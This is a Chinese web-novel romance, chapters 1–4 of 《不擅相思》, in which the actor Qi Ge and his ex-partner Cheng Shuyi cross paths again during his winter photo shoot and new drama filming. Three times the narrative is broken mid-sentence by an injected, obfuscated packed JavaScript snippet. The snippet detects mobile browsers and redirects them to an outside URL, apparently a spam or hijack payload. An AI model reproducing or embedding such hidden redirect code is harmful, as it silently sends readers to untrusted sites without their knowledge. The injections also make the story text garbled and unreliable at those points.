《不擅相思》 1. 错相逢 年末的北风是带着点内力的。 A市冬天的阳光有一种欺骗性的和煦。可能刚出门时还觉得暖和,在外面没走几步,那些藏在阳光里的冷风就会变成锋利的小刀片钻进羽绒服,再一点点扎进骨缝里。 祁歌收拾停当出了酒店,才走到楼下,就感觉整个人跟被幽灵缠住一般,冷冰冰的触感死命从裤脚往里钻,赶紧又折回去加了件衣服。 他对自己的身体状况还是很有数的,并不想因为挨冻生病影响到工作。 来回不过耽搁了两分钟,高姐的电话已经催过来了:“祁歌你到哪了?我跟你说过没今天要早点去,那个场地是杂志方租的,不止拍你一个人,万一上一组结束得早,让人家等你……” “我知道了高姐,”祁歌赶紧截断了她的焦虑,“我已经在路上了,保证早早候场。” “那行。”那边立刻挂了,想必还有别的事在忙。 今天拍摄的地点在市里,离祁歌住的酒店有点距离。 之前通知他九点抵达化妆,而现在还不到八点,祁歌想着完全来得及。 今日艳阳高照,必然一切顺利。 ——没想到还是出了点状况。 前几天街上罕见地下过薄薄的一层雪,太阳出来以后,大部分路段上的都已经融化了。但在非机动车道靠近人行道的地方还有未融尽的残雪,反复结冻再结冰后,变成薄薄的一层冰,远远看过去存在感并不强。 但共享单车的轮子几乎是一碾上去,就立刻向侧边滑倒过去。 幸好走得足够早,这会儿也没有别的车辆驶过,祁歌的损失不过是膝盖处连裤子带皮磨损一大块而已。 痛死了。 今日交通事故受害者提醒您:冬季道路湿滑结冰,谨慎骑行。 “祁老师来了?” 祁歌一瘸一拐地走进办公楼,立刻收到了包括前台在内的不少工作人员瞩目。 “不好意思,”他努力把自己的动作调整成正常的走姿,“稍微耽搁了一下,没迟到吧?” “没有没有,您这是咋了,受伤了?” 化妆师在给当前的拍摄者补妆,化妆助理招呼他到侧面布置好的房间坐下来,询问要不要帮他看下伤处。 “不用,我自己弄一下就行,”祁歌抽了张酒精湿巾迅速按在还在渗出点点血迹的膝盖上,咬牙吞下痛呼,“啊……对了,我今天好像有个短裤造型,太不好意思了,需不需要调整一下?” 化妆助理有点为难:“这我不清楚,服装老师一会儿会给您拿过来,我先给您打底吧。” 祁歌赶紧为自己一脸的汗道歉。 他来的时机很合适,妆发造型结束正好赶上上一位拍摄完成。 “祁老师?”换场地时,那位跟他打了个招呼。 “小陈这么早!”他也扬手拍了拍对方的肩。 陈逸心是这两年一个偶像公司推出来的小朋友,之前和祁歌在片场打过照面。由于资历更浅,陈逸心的拍摄顺序排在祁歌前面,要起得更早,也算是职场的一种论资排辈。 但小陈看上去人却很精神,大大咧咧又规规矩矩地跟所有工作人员打招呼告别。 年轻人就是好啊,祁歌看着他的背影想。 在演员的行当,感觉基本上二十七八岁以上就要步入老年了。 老年演员祁歌的步履更加蹒跚了。 刚才撩起裤腿才看到,他膝盖蹭秃了的那片皮周围已经有点红肿,好在第一套造型是条长裤。虽然行动时的痛感不可避免,但这种程度坚持完拍摄应该是没问题。 ——没想到第一场拍摄就被拉到了户外。 “这边,就这个玻璃背景。” 拍摄场地设置在建筑背面的小空地,四下都没什么人。阳光从建筑玻璃上被折射过来,造成朦胧如梦的错置感。 祁歌脱下外套走到拍摄点位,脚下冻得梆硬的皮鞋底踩过稍稍融化的碎冰残雪,留下黑色的冰水印痕。 担心滑倒会把衣服弄脏,祁歌小心翼翼地扶着墙来到大块的玻璃前,摆好姿势拍了几张。 冰凉的寒风如同浸在空气中的冰丝,缠住人的每一个关节,祁歌感觉每次换姿势都像一个被强扭了关节的娃娃一般艰难。 雪上加霜的是,祁歌脆弱的胃也毫不意外地造反起来。 他在拍摄的间隙不着痕迹地用手腕压了压上腹,冰凉的金属手链透过薄薄的T恤,竟然有种微烫的错觉。 为了转移注意力,拍完一组后他抬头向四周望去。 这座商业大楼里入驻了不少公司,顶楼是一家投资公司,低调简约的logo在阳光下闪闪发光。 祁歌有些失神地望了几秒。 同一时间,刚刚抵达办公室的程书仪在落地窗前换上高跟鞋,喝了口手里的咖啡。 楼下空地上挤着不少人,还有人围观,挤挤挨挨围成半个圈。 程书仪眯着眼看了看,发现半圆中间一堆不知道什么设备前面站着个人,穿着非常反季的一套秋装,头发还精心做过造型。 原来是在拍写真。 又是哪来的小明星…… 敲门声打断了程书仪的观察,她的助理走了进来:“程总,这些文件需要签个字……” “外面那儿是干啥呢?”程书仪一边签字一边随口问道。 “啊,说是一家杂志借了场地在拍摄,我刚才上楼时候正好看到他们出去,现在拍的是演员祁歌,我的天超级帅!” “……是吗?”程书仪笔下一顿,低头把签好的文件推回去,“我一会儿也看看去。” 她坐下来打开电脑处理了办公系统上的待办事项,查收并回复了一堆邮件,这才站起身,又往楼下瞄了一眼。 这么长时间了,楼下那群人还在,就是这次围圈的角度略有变化,中间的祁歌还换了套衣服。 这次换的短袖短裤,看着倒像是夏装了。 这天气,啧,够遭罪的。 程书仪看了眼手表,出门前嘱咐了助理一句:“我去楼下咖啡厅等王总,顺便近距离围观一下,有事打我电话。” 祁歌拍到第二组的末尾时,已经有些控制不住自己的表情。 “太冷了。”他试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578258|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图用此刻零下的温度解释自己的呲牙咧嘴。 他几乎已经习惯了自己怕什么来什么的倒霉人品,换上短裤前先到处问了问,求了两张创可贴把腿上的伤口贴上了。 其实他膝盖的创口面积比创可贴的药棉更大,一大截胶条粘在伤处,闷得十分难受。 好在摄影师没借此发难,而是颇为认可他这个造型,又让造型师拿了几张创可贴给他脸上来了两道。 这下成了不良少年……啊不,不良中年形象。 祁歌痛中作乐地想。 腿疼,胃疼,被冷风吹了太久头也开始疼了。 第二组造型拍摄告一段落后,祁歌接过自己的羽绒服穿上,来不及拉拉链,只匆匆用双手向中间拢住,微微弯腰压住已经有痉挛趋势的胃部。 “祁老师先去那边咖啡厅坐一下吧,等下还有最后一套双人照,辛苦了!”工作人员建议道。 祁歌微笑着点点头,绕到钢筋铁骨玻璃皮的办公楼侧面,推开咖啡厅的门,整个人先愣了一下。 他几乎以为自己看错了。 今天他们拍的是户外片,不但要拍照片还要出视频。按照品牌方要求,画面需要借助准确时段的光线,时间很紧张。 整整一早上,祁歌周围都是人来人往兵荒马乱嘈嘈杂杂。老师这边看一下那谁调一下反光板不能打这里会入镜那边地滑注意安全…… 但此刻坐在窗边的她是安静的。 就像几年前的相逢相识和激烈分别曾带给他那么多的兵荒马乱痛不欲生,她仍然可以全身而退独善其身。 祁歌只愣了一秒就想往后退。 没想到身后还有个工作人员也想跟着进来,被他这样一退,两人就卡在了门口。 祁歌觉得自己现在弓着腰的姿势以及这个进退两难的处境就像一只卡在什么地方的霸王龙。 他噗嗤一声笑了出来。 程书仪闻声看过来,只见刚才还在外面冰天雪地里冻得脸色发青的人正低头笑着,给身后的人让开通路。 那是一张看到了就无法忽视的漂亮的脸。 他弓着身子,插在口袋里的两手应该是非常用力,将厚厚的羽绒服拢出了腰身。 程书仪只看了一眼就移开了视线。 她没再抬眼,只听到祁歌在跟旁边的人讲话:“你去问问他们都喝什么,我来买单。” “行,祁老师你先坐会儿,冻坏了吧?” “没事儿。” 程书仪忍着没去看,脑海中却已经浮现出一个好看的笑容,眉目弯弯,摇头说没事的时候,嘴角永远噙着清风明月般的莞然。 那个笑容会把所有难堪和委屈都掩盖在看不见的地方。 她喝了口咖啡,桌上的手机震动了一下,是助理提醒他王总已经到了,安排好了会议室。 祁歌没敢往咖啡厅里面走,而是身子一歪坐在了离门口最近的椅子上。 胃里的疼痛变成了纠结的一团,他忍不住向下弯腰缩了起来,咬牙等这阵痉挛过去。 再抬起头时,侧后方不远处的位置已经空无一人。 2. 燕归来 程书仪开完会再出来围观楼下的拍摄时,被拍的模特已经换了一个人。 快到午饭时间了,门口围了更多的人,还有些似乎是专程赶来的粉丝,盯着模特的目光目不转睛。 “这又是谁?”程书仪问身边的同事。 “程总不认识他啊?是新晋流量,有个剧正在热播,哇真人好帅啊!” 帅吗?程书仪多看了几眼,觉得也就那样。 不如祁歌好看。 这个念头从脑海中出现之后,程书仪自己都吓了一跳。 这么多年没见,怎么面对祁歌的脸还是这么轻易被折服,这不应该。 她清了清嗓子,转身回办公室了。 祁歌当天晚上参加了新剧组的围读会。 阔别三年,他就是为了这个剧才回到了这个城市。 这剧是个小制作,没多少钱,但看出来还算用心。虽然是临时决定要开会,主创们已经全员到齐。 导演给大家介绍了制片和编剧,接着就是男女主演。 “祁歌老师,我们的男主角。” 祁歌站起身深深鞠躬:“大家好我是祁歌,很高兴跟大家合作,多多关照。” “祁老师当初试镜我们就很惊艳,人也帅戏也好,我是非常有信心的。”导演场面话地夸赞了几句。 “谢谢导演,我一定会努力,有不好的地方多多批评指正。” 祁歌也笑着说。 他今天一天什么都没吃,站在这儿都感觉自己的身体在微微摇晃。 做演员的都差不多,他身边的女主角看起来也是骨瘦如柴一脸菜色,大概好几年都没吃饱过。 剧本是近些年司空见惯的大女主和温柔男主,两人之间误会重重又在最后被解开,涉及一点前世今生的剧情,男主的惨戏很多,可以说被全方位凌虐。 导演毫不避讳地说就是因为看了祁歌在另外一部戏里类似的表演,觉得代入感很强,才对他情有独钟。 读了几段初见的戏,导演帮着调了调状态,散会时夜已很深了。 这次拍摄的时间周期比较长,大家都住在剧组安排的酒店,离这次围读的地点不远,走路大概要三十分钟。 祁歌站在外面深吸了几口冷冽的空气,感觉心情有些复杂。 这是他第一次担任男主,难免有些紧张。再回到这个城市,那种熨帖安定的记忆还在,却不再有故人日日相伴,又多少有些触景生情的失落。 “祁老师怎么回去?”担任女主的演员欣欣走出来看到他,问了一句。 “我……一会儿坐剧组的车吧。”祁歌说。 这个戏开得匆忙,高姐说会给他配个助理,现在还没到位。剧组那边也算照顾,说开拍以后会有车接送,只不过现在还没开机,祁歌也就没麻烦对方。 这么多年拍戏,都是自己操心这些事,倒也没什么不惯的。 “公司给我派了车,要不一起?” “不用了欣欣,你早点回去休息吧。”祁歌笑着婉言谢绝。 其实接下这个戏时制片提过几句,要不要顺势炒个cp之类的,祁歌没有当场拒绝。 他知道自己没这个底气说不。 只能走一步看一步了。 第二天一早,祁歌又去了那个咖啡厅。 今天这里没有人拍摄,大概是恢复了惯常的冷清,只有零星几个人来拿咖啡,还有勤劳的外卖小哥穿梭在吧台与侧门之间。 直到快到九点,楼下的人才突然多了起来。 原来这个大厦里的公司基本上都是九点开始上班。 祁歌抿了口桌上冷透的咖啡。 很快,人群在大厦的大厅聚集了起来,祁歌探头探脑地看了一眼,原来大家是在排队打卡,电梯前的打卡机排了长长的队。 眼看时间马上就到九点,大厅里的人群肉眼可见地焦躁起来。 打工人也不容易。 祁歌收回目光,随便翻了翻手机,看了会儿热搜。 娱乐圈每天都一样,有戏开机,有戏杀青,有剧播出,有剧完结。一波又一波的粉丝庆祝着自家哥哥姐姐拿到好成绩,点评着屏幕里精彩或绝美的镜头。 这些和祁歌的距离大概就跟打工人和总裁的距离差不多。 祁歌再抬起头时,门口的人已经进得差不多了,这里再次恢复了空旷和安静。 他掏出剧本读了起来。 明天剧组就要开机,今晚还有最后一次围读。祁歌算是男主,每一天都排了许多的戏份。 祁歌的习惯是开机前大体背会自己的台词,之后每一天的拍摄前再把当天的剧本通读背诵一次。 有的演员喜欢现场给反应,但祁歌总觉得必须要知道对方的台词,才能在表演中更加自如。 这世界永远充满变数,但他会尽量掌控一切能掌控的东西。 这好像也是程书仪教过他的。 这个名字在他心里刺痛了那么一下。 程书仪再次看到那个身影的时候还以为自己出现了幻觉。 今天楼下没有拍摄的团队,也没看到工作人员,咖啡厅里和往常一样安静而空荡。 但祁歌就坐在窗边,拿着一本什么东西在安静地看。 他选的位置正好照不到阳光,可他整个人实在太显眼了,走过的人都会忍不住看一眼。 这个人怎么在这儿……程书仪脚步稍慢了一步,又迅速加快,绕过咖啡厅的大门,从大楼的正门走进大厅,向电梯走去。 电梯门开的时候,她再一次回头看了一眼。 没想到这一眼咖啡厅窗前的景象已经完全不同,原本独自坐着的祁歌身边围了两个服务人员,场面看着似乎有些混乱。 程书仪犹豫了一下,脚下到底没能迈出即将踏进电梯的那一步。 她从咖啡厅侧面拉开门,这下看清了眼前的情状。 好像是有个服务员给另一位顾客上咖啡的时候脚下打滑,正巧把滚烫的咖啡泼在了祁歌身上。 “真是不好意思,对不起,您有没有伤到?” “我没事,”祁歌解开自己的衬衫袖口,将被咖啡染透的白色袖子折到胳膊肘,露出烫红了一片的小臂,“你快看看你的手有没有事?” 程书仪顺着他的目光去看服务员还拎着托盘的手,果然看到手上的皮肤似乎烫得不轻。 她几步走过去接过服务员的托盘:“去冲一会儿凉水。” 说完,她转向另一位服务员:“你带这位先生也去处理一下吧。” “哎哎,先生您跟我来。” 祁歌抬头看了她一眼,什么都没说,站起来跟着服务员走了。 这时候咖啡厅的经理这时候才终于出现:“程总,怎么过来了?” 程书仪冲祁歌的背影努了下嘴:“正要上去,看到有客人烫伤了,你处理一下吧。” “好的好的,您放心吧。”经理赶快说。 祁歌用凉水冲了会儿被烫红的地方,等到皮肤表面的灼热感消失了才伸手关了水。 “真的没事吗?”旁边的服务员诚惶诚恐,“还有您的衣服,要不然我先拿一件员工的衬衫给您换上……” 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578259|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愧是高档写字楼啊,祁歌心想,服务可真周到。 他也不是第一次遇到这种事,但如果在麻辣烫之类的小店里被烫到,老板还要骂他一句不长眼睛,并骂骂咧咧地收拾残局。 “没事的。”祁歌笑了笑,挽着袖子出了洗手间。 但他没再看到想看到的人。 就好像刚才她的出现只是幻觉。 一位胸前别着名牌的男性站在门口:“您好,我是这家咖啡店的经理,这是我的名片,今天真的太抱歉了,麻烦您留个联系方式,后续如果需要医药费或者干洗费,您尽管找我们处理。” 祁歌摇摇头没接那张名片:“真不用了,我没事,服务员也是不小心,您别责怪她。” “不会,”经理礼貌鞠躬,“也替她感谢您的体谅。” 祁歌回到桌前收拾了一下自己的东西,轻微地叹了口气。 他也说不清自己为什么要来这里等,他给自己的理由是观察生活。 本来以为没什么希望了,但刚才却又看到了一眼。 就那一眼,就像渴了的人获得了一滴甘霖似的,让他百倍千倍地渴求更多。 “对了,刚才那位女士是……”出门前他假装不经意地问服务员。 “哦那位是程总,我们咖啡厅的股东之一。”服务员答道,“您有事找赵经理就好啦。” 原来如此。祁歌点点头。 一片烫伤的胳膊,原来只能换她一眼的垂青,连再跟她说句话都不够资格。 他觉得自己现在的心理状态十分好笑,却又难以自拔地深陷其中。 在跟程书仪分开之前,他从没想过有天他们会是这样的状态。 在他印象中的那个程书仪,是天真的,可爱的,仿佛对他的一切充满好奇。 或许程书仪就是天性如此,好奇心得到了满足之后,自己便不再有什么可以给她。 已经过了这么多年,他感觉心里又积攒了好多东西想要跟程书仪说。 但程书仪和他之间的距离,已经让他难以企及了。 程书仪……还会对他好奇吗? 祁歌无意识地用手指摩挲了一下包里的剧本。 剧本里用荧光笔画了密密麻麻的线条,那是他的台词。 在他和程书仪认识的时候,他的剧本可不长这样。 那时候他的剧本里只有寥寥几行字是划了线的。 就那么几行字,程书仪有耐心陪他翻来覆去地琢磨,语气对不对,表情自然不自然,状态需不需要调整。 他以为自己会一直拥有程书仪这种乐此不疲的态度。 时过境迁,当时只道是寻常了。 “程总,今天的文件。”助理推门进来时,看到程书仪站在办公室另一侧的窗口往下看,竟然没听到她讲话。 “程总?” 程书仪回过神来,头也没回地应了一声:“你先放桌子上。” 助理好奇地凑过去:“又有人拍摄了?” 但楼下空空荡荡,连个行人都没有。 她发现自己罕见地搞不懂自己的老板了。 一个空荡的大街有什么好看的? 她还没来得及提出疑问,就看到有个人从咖啡厅里走出来,斜背着一个帆布包,袖子半挽,头发被风吹得扬起。看着有种年轻人的意气风发。 “那个是……” 她还没来得及看清,程书仪忽然转身回到桌前:“这是哪个项目的?” “啊啊这个是今年新做的那个……”助理也赶紧跟回来,开始一份一份地介绍给程书仪签字。 3. 长夜行 考虑第二天要开机,前一天晚上的第二次围读并没弄到很晚。 祁歌回到酒店时满脑子都是转天要拍的台词,连觉都没睡好。 他发现自己有点陷入焦虑了。 市场不好,不一定能接到戏,接到的戏不一定能开拍,开拍的剧不一定能拍完,拍完的剧也不一定能上线。 所有漫长的努力,都可能会导向一无所获的结果。 如果程书仪在,会怎么说呢…… 大概会劝他考虑放弃,找点有前途的行业干干。 当时他们总因为这些事情吵架,再互相妥协和好,反复几次后,最终到底还是分道扬镳。 程书仪不理解他,祁歌心想,但程书仪是这样好的一个人,他不该,也不会心有怨怼。 也不应该再去招惹她了。 冬天拍戏对祁歌来说总是更煎熬些。 镜头里的人物永远光鲜亮丽,哪怕是身在漫漫落雪之中,也一定要显得风度翩翩、潇洒自在。 ……都是演的,潇洒不了一点。 祁歌缩了缩脖子,将两手交叠搓了几下,又往袖子里揣了揣,压在上腹等着导演协调完布景喊开机。 一整个农民型男主。 最近他们落脚在市郊的影视城,为的是先集中拍完现代戏的部分,再转场山里面去拍古装。 几位主创在业内都没太多人关注,开机仪式办得简单,烧完香就直接开拍。 这一场要拍的戏份是祁歌饰演的角色狗血失忆不记得女主了,但看到女主离开,又情难自禁地想要追上去。 是一场比较考眼神的戏。 “欣欣老师这边可以了,换替身吧。”一镜之后,导演发话道。 拍完了女主戏份的欣欣却没马上走,而是对祁歌说:“祁老师需要我帮忙搭一下吗?” 一般这种基本带不到对方戏份的镜头,都是替身入镜,让主演回去休息。 不过祁歌这段戏对情绪要求高,又是刚刚开机,女主提出愿意帮忙搭一下戏,是非常善意友好的。 “不用不用,你快去休息吧,天太冷了。”祁歌冲她展颜一笑。 欣欣便也没坚持,披上大衣下了场。 祁歌收敛了表情,微微垂下头。 听到“开拍”再抬头时,那双眼睛里已经有微光闪烁。 机器吹出稀碎的假雪,纷纷乱舞在空气中。 睫羽抖动间,他的神情是迷茫的,仿佛有些什么重要的东西早已离他而去。 但那抹远处的身影还未消失。 他用目光追随着,又忍不住上前几步,仿佛这样就能抓紧自己与往日余温的唯一联系。 三十分钟后,这段路透被刷新在程书仪刚刚打开的祁歌超话里。 这个路透的拍摄者甚至不是专门拍祁歌的,而是拍完女主后顺便拍了一段。 祁歌的超话里没多少人,常出现的几个人似乎彼此都很熟悉,在讨论这种路透是不是要先删掉,发到群里就行。 ……这么说起来,祁歌是有个粉丝群来着。 程书仪依稀记得祁歌刚出道没多久的时候,还是自己建议他建个群,和粉丝们多聊聊天,毕竟最初的粉丝群体建立很重要。 他便乖乖地建了,第一个拉程书仪进来。 “那我就是1号粉丝啦?”程书仪大方占据专属地位。 后来又有了2号粉3号粉,程书仪记得自己退群时,500人的群都快放不下了。 现在那个群不知道还在不在了。 程书仪来回翻了翻,发现超话里就有一个官方群,上限2000人还没加满。 她犹豫了一下,退出登录重新注册了一个账号,这才发了加群申请。 入群还需要等群主批准。 程书仪退了软件,继续埋头工作了一会儿。 最近她公司的项目都推进得不错。 忙碌了这么多年,偶尔也会有这种能够稍作喘息的时刻。 人就是不能闲下来,程书仪在内心感叹。 闲下来就想搜搜旧人近况,搜了就又会产生好奇。 难保不重蹈覆辙。 原来祁歌出现在这里是为了拍戏,也不知道这次接的戏怎么样,看路透好像是主角,演得比以前还要好了。 祁歌和她在一起时,很少释放自己的情绪,也鲜少露出这种惘然的表情。 他总是笑着的,生病也好受挫也好,他都把自己藏好,用伪饰的轻松维持他们之间的所谓纯粹。 但程书仪其实不喜欢他这样。 她看到过他晚上在露台上发呆,看到过他累到眼神都失去光泽,也看到过他被欺负或遇到不公平对待时,难以自控的那个瞬间。 如果他不愿意袒露自己,也不愿意依赖她,那是否说明他不信任这段感情? 程书仪确实喜欢开朗元气的类型,但装出来的没意义啊。 不过话又说回来,之前程书仪给他的那一面,倒也是有所保留的。 彼此彼此罢了。 祁歌平时其实不太会看粉丝群。 但今天新剧开机,非正式的粉丝后援会给他送了颇为用心的手工礼物,他少不得要空降群里感谢一下。 “谢谢大家做的相册,我非常喜欢,会仔仔细细看的。”他这会儿已经卸了妆,便大方地拍了自拍视频。 “新戏开拍之后可能会忙一段时间,跟大家的互动会少一点,期待这次会有好的结果吧。” 他发完视频之后下面立刻跟了一堆无意义的“啊啊啊啊”和问好,间或有人询问新戏的设定,问拍戏是否顺利,又嘱咐祁歌要照顾好自己。 祁歌一一打字回应:新戏设定暂时还要保密,也请大家先不要剧透;今天拍得挺顺利,提前收工了,不过明天起可能要连大夜;最近身体很好,不用担心。 他现在进行这种营业已经很熟练,几乎不过脑子顺手就答了。 其实新戏设定早透得七七八八,今天拍摄也不算太顺利,有个场景没搭好延到明天再拍,导演刚发了脾气。 还有,身体是好,但也真是有点扛不住。 天气冷,穿得又少,在外面冻了一天,祁歌刚才回来就感觉浑身酸痛,没忍住吃了个止痛药。 每次吃这种药都会有恶心难受的副作用,赶紧睡觉的话,或许还逃得过胃痛。 祁歌草草卸了妆就上床陷入昏迷。 很幸运地,这晚胃痛竟然没来撕扯他的睡眠,让祁歌一觉睡到了天亮。 他大概收拾了一下自己,在房间默了会儿剧本,等到快中午剧组打来电话,通知他下楼坐车去片场。 车上除了他还拉了几个工作人员。经过一夜修整,大家看上去状态都还不错。 “祁老师今天是重场戏,”有位场记老师说,“要辛苦一下了。” “我有什么辛苦的,”祁歌轻松笑着说,“我就是在镜头前表演一下,老师们才是真辛苦。” 到了片场祁歌才深深叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578260|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天没拍,留到今天的这场戏,确实是个重头戏。 倒不是场景多么艰苦,而是因为这场戏需要从长街的这端跑到另一端。 “祁歌你跑步怎么样?”导演半开玩笑地说,“能不能给我贡献出这个长镜头?” 说着,导演颇有阵势地挥了下手,示意镜头要从地面跟一段男主角的背影,然后缓缓拉到高空。 祁歌眯着眼睛抬起头,望了望那高高悬着的摇臂。 为了拍这场戏,整条街两侧的建筑物都被精心安排了错落灯火,将这条路映照得温馨而明亮,如同这世界上许许多多的不夜城。 但戏中的男主角是寂寞的,一身黑色的风衣在身后飘,孑然寻找着连自己都不曾确信的东西。 会是一个很美的镜头。 “没问题!”祁歌笑着答道,远远给摄像师比了个OK的手势。 导演非常满意:“来来来,争取一遍过!” 一遍过——当然是不可能的。 祁歌在这条街上反复跑了三趟之后,腿都有些软了。 “休息十分钟!”导演发话道。 “祁老师!” 休息区那边忽然有人这样喊道。 祁歌转头看去,只见有个学生模样的小姑娘在朝自己挥手。 他微微皱起眉头。 这片区域是封闭的拍摄区域,不应该有粉丝混进来探班。 难道是留在这儿还没走的群众演员? 他走过去板起脸来问:“怎么这么晚了还在这儿?” “啊?”小姑娘表情有些呆滞,“我刚才找您找了半天了,还是高姐帮我联系了剧组的老师,这才把我带进来。” “高姐让你来的?” “对啊……嗐,祁老师,我是您的新助理阿远,”小姑娘手忙脚乱腾出一只手来,“今天刚刚到,就想着跟您对接一下,没想到联系不上您……” 祁歌这才明白了所以然,跟她握上了手:“我在拍呢手机没拿,不好意思啊。” “不会!”阿远连连摇头,“高姐把我联系方式推给您了祁老师,您通过一下,有什么事都可以喊我!” “不用叫‘您’,也不用喊‘老师’,”祁歌被她喊得浑身不自在,“你叫我祁歌就行。” 阿远立刻改口:“好嘞祁哥,打扰您了祁哥。” 祁歌应了声,喝了口水转身朝拍摄区走了两步,又突然停步愣了愣。 总感觉这称呼还是没纠正过来。 阿远对于第一次见面就叫人哥这事儿倒是毫无障碍。 她刚毕业不久,进了公司见谁都是哥啊姐啊地叫着。 她之前没听过这位演员,一路在动车上做了做功课,还加入了超话准备积极投身宣传前线。 高姐说让她明天开始上工,今天先跟祁老师联系一下。 结果这么一联系就联系到了晚上,费尽周折才总算找到人。 没想到这才见面没几分钟,对方又转头回到了摄像机前,看上去一时半会儿也没有要收工的迹象。 阿远小心翼翼地跟片场的工作人员们打了招呼,进行了一番自我介绍,以免下次又被当成粉丝拒之门外。 “祁老师今晚上大夜,要拍到早上了,”有个好心的工作人员跟她说,“你要不先找个地儿慢慢等。” 早……早上? 那自己这明天上工的安排该从零点开始还是……阿远陷入震惊。 演员都是这样的吗? 4. 敛星辰 那个奔跑的镜头换了几个机位终于拍完,祁歌揣着手回到休息区,意外地发现阿远还在原地等他。 “你怎么还在?”他惊讶地睁圆了眼。 “我是您助理啊祁哥,您去哪我去哪!”阿远精神头十足地回答。 祁歌有点啼笑皆非:“高姐这么跟你说的啊?” “她说一切听您安排!” 祁歌歪了头打量她。 这孩子应该上班时间不长,还没被耗尽热情,才会这么干劲满满,好像说每句话时都要带个感叹号。 “我给你讲一下你平时的工作内容吧,”祁歌披上羽绒服扶着椅子坐下,“平时需要帮我留意开工通告和工作日程,及时提醒。还要对接公司安排的工作和相关工作人员,服装化妆老师之类的。最近我都在片场拍戏,白天如果有时间可以帮我拿个饭买个东西,像这种要拍一晚上的情况你就不用陪着了,可以先回去休息,明天开工前喊我一声,别误了事就行。” 阿远连连点头:“好的祁哥,那我给你打个水去,你有杯子吗?” 她来了之后看到别的演员都有保温杯,下了戏就捧着喝点热水驱寒。 “不用了,我喝矿泉水或者拿个一次性杯子接点就行。” “哦,那我去给你接点热的。”阿远说着就转身就走。 “哎……”祁歌没拦住人,只能目送她在人群里穿梭,一路跟路过的工作人员打着招呼,头上的马尾辫一跳一跳的。 祁歌闭上眼睛休息了一下,感觉眼前总算不再影影绰绰地旋转。 好久没这么高强度地拍戏,看来还得尽快调整自己的状态,才跟得上这种程度的工作需求。 “祁哥给,热水!”阿远很快回来了,小心递上用一次性杯子装着的水。 祁歌道了谢,匆匆喝了两口,嘱咐了阿远一句赶紧回去,又起身去景里接着拍了。 阿远站在原处没走。 她若有所思地观察着其他演员,特别是女主的拍摄情况。 原来拍外景需要花很长时间布置场景和灯光,有许多事情需要协调;原来进了景里走戏就不能再随便出来了,如果没有人帮忙拿衣服,就只能一直穿着单薄的戏服。 “你是祁老师助理?”旁边有工作人员招呼她,“要不要吃的?” 原来还有吃的。 “今天是欣欣老师请大家夜宵,让我们感谢她!” 阿远跟着大家海豹式鼓掌,又多拿了一份小面包揣口袋里。 等到祁歌再下来时,立刻被塞了重新打的热水和面包。 “祁哥,一会儿我跟你一块过去吧,开拍了再把衣服给我,别冻坏了。”阿远说。 祁歌有些受宠若惊地看她:“我不会给你加钱的。” 最后阿远到底没撑满一晚上,过了零点没多久,就被祁歌赶着跟剧组的车回去休息了。 “你不是生活助理,把工作的事安排好就行。”祁歌这样说。 于是早上七点多,阿远就被高姐电话叫醒,说过两天有个活动邀请了祁歌,需要安排出席。 “对了,活动会有几个粉丝名额,你跟后援会说一下,尽快分配下去。” “好的我知道了。”阿远迷迷糊糊接收任务成功。 “还有……”一向干练的高姐居然犹豫了一下,令阿远从迷糊中警觉起来。 “怎么了高姐?” 高姐这才说下去:“我感觉祁歌最近有点怪,你好好看着点他,有啥事及时跟我说。” “好的。”阿远不明就里,但答应得飞快。 认真研究了一下如今的粉丝应援方式后,程书仪发现追星好像变难了。 她跟刚认识祁歌的时候,想见面哪里需要什么超话等级、反黑记录、商务截图……直接后台私信就能获得回复。 她最开始是在自媒体平台上看到祁歌分享自己的经历觉得有意思,发了私信跟他聊天,后来加上了联系方式……再后来又见了面。 当时还开玩笑说,这算不算所谓的约见私生。 没想到现在粉丝的自我管理如此严格,去平台的庆典当个观众围观一下都需要竞争名额。 程书仪在超话看到这个活动的时候本来并没有要去的心思,但看到那些苛刻的参与条件后,胜负欲突然就上来了。 她直接给认识主办的朋友打了电话。 “程总突然对这个有兴趣了?”朋友莫名其妙地欢欣起来,“要约哪个明星吗?” “别瞎说,”程书仪笑骂了他一句,“就突然好奇想去看看,不行吗?” “怎么不行,给你拿个邀请函的事儿……庆典之后的晚宴你来吗?” “哦还有晚宴,那我只去晚宴行不行?”想想可能会十分冗长的晚会流程,程书仪主打一个速战速决。 朋友笑了:“都给你留个位置,看你时间呗。” 这几天的天气似乎被冻结在冬季最冷的时段,每个人说话都会喷出一股白烟。 “祁哥,今天还是大夜?”阿远打了个呵欠。 他们从中午上工,现在一口气拍到了日头偏西。 